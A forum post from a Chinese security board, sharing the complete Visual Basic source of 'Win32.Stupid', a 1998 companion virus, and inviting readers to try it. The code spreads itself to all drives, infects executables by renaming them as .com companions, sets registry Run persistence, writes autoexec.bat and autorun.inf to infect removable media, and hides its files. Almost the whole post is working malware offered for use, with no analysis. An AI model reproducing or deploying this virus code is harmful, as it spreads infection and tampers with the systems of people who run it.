20CN网络安全小组论坛 - 编程破解 - 一个用VB写的病毒代码

论坛: 编程破解标题: 一个用VB写的病毒代码

作者: www_307 [www_307]

论坛用户

一个用VB写的病毒代码，有兴趣的试试，别干坏事哦
'------------------------------'------------------------------'------------------------------
' Win32.Stupid
' by VicodinES
' First virus ever written in VB5
' First VB virus ever (I think)
'
'------------------------------'------------------------------'------------------------------
'
' Companion Virus - EXE infection
'
' What does it do?
'
' Copies itself to all available resources on initial execution
' (removable drives and floppy included)
' Registers itself as a "RUN" service in the registry
' (activated during each reboot)
' Has a small message box payload.
' Makes infected floppys "bootable infectors"
' Makes infected zip drives "carriers"
' Slow infector
' (only does one EXE per reboot othewise it might be too obvious)
' Works on Win95/98/NT
'
' Drawbacks:
'
' It's a companion virus
' DLL dependent in 95/NT (Win98 ships with the dll)
' it's too big
'
'------------------------------'------------------------------'------------------------------
'
' I tried to comment the best I could - I am a SLOPPY PROGRAMMER so if you don't
' understand something or start to go nuts because I don't indent then just ask
' me for an explanatioin - Vic
'
'------------------------------'------------------------------'------------------------------
'
' (c) The Narkotic Network, July 1998
'
'------------------------------'------------------------------'------------------------------

' **THIS IS THE 2nd VERSION - A FEW BUG FIXES A FEW CHANGES**

Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryvalueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function RegSetvalueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpvalue As String, ByVal cbData As Long) As Long
Private FD(1 To 10) As String
Private xc, x As Integer
Private Smilecopy, Dat0copy, smile, dat0, weare, wearecom, supspn, sup As String
Private companion, nodat0 As Boolean
Private s As Long
Private Sub Form_Load()
On Error Resume Next
Const REG_DWORD As Long = 4
Const REG_SZ As Long = 1
Const HKEY_CURRENT_USER As Long = &H80000001
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Call PassCheck
Dim s As Long
s = 256
v$ = String$(s, 0)
weare = App.EXEName
wearecom = weare & ".com"
smile = weare & ".exe"
dat0 = "dat0.exe"
dat0home = "c:\" & dat0
HoldMeDear = Dir(wearecom)
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", 0, KEY_ALL_ACCESS, k)
u = RegQueryvalueExA(k, "Startup", 0, REG_SZ, ByVal v$, s)
u = RegCloseKey(k)
For e = 1 To Len(v$)
If Mid$(v$, e, 1) = Chr$(0) Then GoTo done
sup = sup + Mid$(v$, e, 1)
Next e
done:
supspn = spn(sup)
If (UCase(HoldMeDear)) = (UCase(wearecom)) Then companion = True
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS, k)
u = RegQueryvalueExA(k, "Vic", 0, REG_SZ, ByVal v$, s)
u = RegCloseKey(k)
If Mid$(v$, 5, 1) <> "d" Then
Call makereg
Else
wein = True
End If
SetAttr dat0home, vbArchive
If Dir(dat0home) <> dat0 Then nodat0 = True
SetAttr dat0home, vbHidden + vbReadOnly + vbSystem
If (nodat0 = False) And UCase(weare) = "DAT0" Then Call WeVirus
If nodat0 = False And companion = True Then Call ExecuteFile
Call Find_Drives
For x = 1 To xc
Smilecopy = FD(x) & "Smile.exe"
Dat0copy = FD(x) & dat0
typeofdrive = GetDriveType(CStr(FD(x)))
If typeofdrive = 4 Or typeofdrive = 3 Or typeofdrive = 2 Or typeofdrive = 1 Then
If typeofdrive = 2 And UCase(FD(x)) <> "A:\" Then Call ARD
If UCase(FD(x)) = "A:\" Then
Call ADrive
GoTo adone:
End If
If Dir(Smilecopy) <> "Smile.exe" Or nodat0 = True Then
If (UCase(FD(x)) = "C:\") And (wein = False Or nodat0 = True) Then
FileCopy smile, Dat0copy
nodat0 = False
FileCopy smile, Smilecopy
SetAttr Dat0copy, vbHidden + vbReadOnly + vbSystem
Else
FileCopy smile, Smilecopy
End If
End If
adone:
End If
Next x
End
End Sub
Function Find_Drives()
Dim strBuffer As String
Dim lngBytes As Long
Dim intPos As Integer
Dim intPos2 As Integer
Dim strDrive As String
strBuffer = Space(255)
lngBytes = GetLogicalDriveStrings(Len(strBuffer), strBuffer)
intPos2 = 1
intPos = InStr(intPos2, strBuffer, vbNullChar)
Do Until intPos = 0 Or intPos > lngBytes
xc = xc + 1
strDrive = Mid(strBuffer, intPos2, intPos - intPos2)
FD(xc) = strDrive
intPos2 = intPos + 1
intPos = InStr(intPos2, strBuffer, Chr(0))
Loop
End Function
Function makereg()
On Error Resume Next
Open "c:\v.reg" For Output As 1
Print #1, "REGEDIT4"
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]"
Print #1, """Vic""=""\""c:\\dat0.exe\"""""
Close 1
Shell "regedit /s c:\v.reg"
Kill "c:\v.reg"
End Function
Function ADrive()
On Error GoTo out
If Dir(Smilecopy) <> "Smile.exe" Then
FileCopy smile, Smilecopy
Open "a:\autoexec.bat" For Output As 1
Print #1, "@echo off"
Print #1, "copy smile.exe " & supspn & "\smile.exe"
Print #1, "cls"
Print #1, "del autoexec.bat"
Close 1
Open "c:\s.bat" For Output As 1
Print #1, "path=c:\windows\command"
Print #1, "c:"
Print #1, "sys a:"
Close 1
Shell "c:\s.bat", vbHide
End If
out:
End Function
Function ExecuteFile()
On Error Resume Next
Shell (wearecom), vbNormalNoFocus
End
End Function
Function WeVirus()
On Error Resume Next
Dim pathz(1 To 20), infect(1 To 100) As String
Dim dispick As String
Dim EXEFile As Integer
If Dir("c:\p.d") <> "p.d" Then
Open "pth.bat" For Output As 1
Print #1, "path > c:\p.d"
Close 1
Shell "pth.bat", vbHide
For x = 1 To 1000000
Next x
End If
ctr = 1
Open "c:\p.d" For Input Access Read Shared As 1
Do Until EOF(1)
snap = Input(1, 1)
If UCase(snapit) = "PATH=" Then snapit = ""
If snap <> ";" Then snapit = snapit + snap
If snap = ";" Then
pathz(ctr) = snapit
snapit = ""
ctr = ctr + 1
End If
Loop
Close 1
Randomize
dispick = pathz(Int(Rnd * (ctr - 1)) + 1)
pathtoinfect = spn(dispick)
InfectEXEName = Dir(pathtoinfect & "\*.exe", vbDirectory)
Do While InfectEXEName <> ""
EXEFile = EXEFile + 1
infect(EXEFile) = InfectEXEName
InfectEXEName = Dir
Loop
pickedexe = infect((Int(Rnd * (EXEFile - 1))) + 1)
rawEXEName = Mid(pickedexe, 1, Len(pickedexe) - 4)
If Dir(dispick & "\" & rawEXEName & ".com") <> rawEXEName & ".com" Then
FileCopy pathtoinfect & "\" & pickedexe, pathtoinfect & "\" & rawEXEName & ".com"
FileCopy smile, pathtoinfect & "\" & pickedexe
Else
End If
End Function
Function spn(sp As String) As String
Dim sb As String
Dim lb As Long
sb = Space(200)
lb = GetShortPathName(sp, sb, Len(sb))
If lb > 0 Then spn = Left(sb, lb)
End Function
Function PassCheck()
If Minute(Now) = 30 And Second(Now) >= 16 Then
If Day(Now) > 15 Then
MsgBox "DAMN!!" + vbCr + "This is..." + vbCr + "*S T U P I D*", vbExclamation, "Win32.Stupid"
Else
well = MsgBox("Cameron Diaz is a goddess!", vbExclamation + vbYesNo, "Vic says...")
If well = vbYes Then
End
Else
MsgBox "JERK!", vbApplicationModal + vbCritical, "Win32.Stupid"
End If
End If
End If
End Function
Function ARD()
If Dir("Autorun.inf") <> "Autorun.inf" Then
Open FD(x) & "Autorun.inf" For Output As 1
Print #1, "[autorun]"
Print #1, "OPEN=SMILE.EXE"
Close 1
End If
End Function

地主发表时间: 10/31 06:55